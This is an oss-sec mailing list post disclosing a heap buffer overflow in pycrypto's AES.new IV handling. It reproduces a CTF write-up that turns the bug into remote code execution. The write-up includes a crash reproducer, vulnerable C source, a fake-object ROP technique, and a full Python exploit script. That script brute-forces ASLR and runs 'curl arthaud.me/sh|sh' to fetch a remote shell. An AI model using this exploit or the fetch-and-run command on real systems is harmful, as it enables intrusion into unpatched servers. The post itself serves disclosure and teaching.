oss-sec mailing list archives
Buffer overflow in pycrypto
From: Leo Famulari <leo () famulari name>
Date: Mon, 26 Dec 2016 20:09:25 -0500
I noticed this bug report in the pycrypto bug tracker: "AES.new with invalid parameter crashes python" https://github.com/dlitz/pycrypto/issues/176 The original report, from that GitHub page: ------ In Crypto 2.6.1 and Python 2.7.10 and 3.4.3 folowing code causes crash: from Crypto.Cipher import AES AES.new(b'\000' * 16, AES.MODE_ECB, b'\000' * 540) ------ Apparently this issue is fixed on pycrypto's development branch with commit 8dbe0dc3eea5c689d4f76b37b93fe216cf1f00d4, but this change can't be applied directly to the latest pycrypto release tarball; too much has changed. https://github.com/dlitz/pycrypto/commit/8dbe0dc3eea5c689d4f76b37b93fe216cf1f00d4 Linked from the pycrypto bug #176 discussion, someone has used the bug to get a remote shell. This report is reproduced in the remainder of this message: https://pony7.fr/ctf:public:32c3:cryptmsg cryptmsg - Writeup by Maxima Challenge Can you find the bug? http://136.243.194.56:8000/ Solution The website allows us to encrypt and decrypt messages using AES. The encryption is performed by cryptmsg.py, using the python library pycrypto. After a few searches, I found out that there was a bug in pycrypto: https://github.com/dlitz/pycrypto/issues/176. We can use this vulnerability to get a shell. I first tried to guess the architecture on the server. I managed to get it by causing a python stacktrace: curl "http://136.243.194.56:8000/cgi-bin/cryptmsg.py?what=enc&msg=AAAAAAAAAAAAAAAA&key=AAAAAAAAAAAAAAAA&mode=42&iv=AAAAAAAAAAAAAAAA" In the stacktrace, the path to the shared object is /usr/lib/pyth…t-packages/Crypto/Cipher/_AES.i386-linux-gnu.so, se we know that the architecture is i386 (x86 32bits). I also assumed that the server runs on Ubuntu Server 15.10, since that was what they were running on some of their other challenge servers. I quickly set up a virtual machine to have the same environment. Then I dove more deeply in the source code. Here is the code in src/block_templace.c in pycrypto source code: static ALGobject * ALGnew(PyObject *self, PyObject *args, PyObject *kwdict) { unsigned char *key, *IV; ALGobject * new=NULL; int keylen, IVlen=0, mode=MODE_ECB, segment_size=0; PyObject *counter = NULL; int counter_shortcut = 0; // [...] /* Set default values */ if (!PyArg_ParseTupleAndKeywords(args, kwdict, "s#|is#Oi", kwlist, &key, &keylen, &mode, &IV, &IVlen, &counter, &segment_size)) { return NULL; } // [...] new = newALGobject(); // [...] memset(new->IV, 0, BLOCK_SIZE); memset(new->oldCipher, 0, BLOCK_SIZE); memcpy(new->IV, IV, IVlen); // buffer overflow! new->mode = mode; new->count=BLOCK_SIZE; /* stores how many bytes in new->oldCipher have been used */ return new; } And here is the ALGobject structure: #define BLOCK_SIZE 16 typedef struct { PyObject_HEAD int mode, count, segment_size; unsigned char IV[BLOCK_SIZE], oldCipher[BLOCK_SIZE]; PyObject *counter; int counter_shortcut; block_state st; } ALGobject; Thus there is a heap buffer overflow on IV. We can basically write as many bytes as we want on a part of the heap. The next step is to get the control of the execution flow. The idea is to overwrite the counter pointer to introduce a fake python object. Here is what a python object structure looks like: typedef struct _object { Py_ssize_t ob_refcnt; struct _typeobject *ob_type; } PyObject; The first element is the reference counter on this object. The second element is a pointer on the type of the object. Here is the type structure: typedef struct _typeobject { Py_ssize_t ob_refcnt; struct _typeobject *ob_type; Py_ssize_t ob_size; /* Number of items in variable part */ const char *tp_name; /* For printing, in format "<module>.<name>" */ Py_ssize_t tp_basicsize, tp_itemsize; /* For allocation */ /* Methods to implement standard operations */ destructor tp_dealloc; printfunc tp_print; getattrfunc tp_getattr; setattrfunc tp_setattr; cmpfunc tp_compare; reprfunc tp_repr; // [...] } PyTypeObject; We are going to create a fake object associated to a fake type. When the object gets deallocated, the function pointer tp_dealloc will be used. In the fake type, we will put a pointer on a gadget to get a shell. Fortunately, system() is available in the PLT. I found a nice gadget in the python binary, using ropper: 0x81580d6: push edx 0x81580d7: call DWORD PTR [eax+0x18] When the object is deallocated, edx contains the address of the type, and eax contains the address of the object. We can create a fake object and a fake type that will execute a command: def p(v): return struct.pack('<I', v) fake_object = p(1) # ref counter fake_object += p(fake_type_addr) # type object fake_object += b'\x00' * 16 fake_object += p(system_addr) fake_type = cmd.ljust(24, b'\x00') fake_type += p(call_gadget) Here, call_gadget = 0x81580d6 and system_addr = 0x0805a2f0 (you can get them easily using gdb). The problem is that we don't know yet where our fake_object and fake_type will be because of ASLR. The heap is mapped to a random address. Because the server runs on a 32bits architecture, we know that we can bruteforce it. We will put our fake_object and fake_type a lot of times in the memory, and use for fake_object_addr a potential address right in the middle of the heap. I will execute the command curl arthaud.me/sh|sh that'll give me a shell. Here is my final script: #!/usr/bin/env python3 import struct import requests def p(v): return struct.pack('<I', v) cmd = b'curl arthaud.me/sh|sh\x00' system_addr = 0x0805a2f0 call_gadget = 0x81580d6 # push edx; call [eax + 0x18] fake_object_addr = 0x84d673c fake_type_addr = fake_object_addr + 0x1c fake_object = p(1) # ref counter fake_object += p(fake_type_addr) # type object fake_object += b'\x00' * 16 fake_object += p(system_addr) assert len(cmd) <= 24 fake_type = cmd.ljust(24, b'\x00') fake_type += p(call_gadget) payload = b'I' * 32 payload += p(fake_object_addr) data = (fake_object + fake_type) * 500 qs = 'key=' + 'A' * 16 qs += '&mode=1' qs += '&iv=' + ''.join('%%%02x' % c for c in payload) qs += '&x=' + ''.join('%%%02x' % c for c in data) i = 1 while True: print('\rAttempt %d' % i, end='') i += 1 requests.get('http://136.243.194.56:8000/cgi-bin/cryptmsg.py?%s' % qs) You can also use Ricky Zhou exploit. After a few hours, I finally got a shell!
Attachment:
signature.asc
Description:
Current thread:
- Buffer overflow in pycrypto Leo Famulari (Dec 26)
- Re: Buffer overflow in pycrypto cve-assign (Dec 27)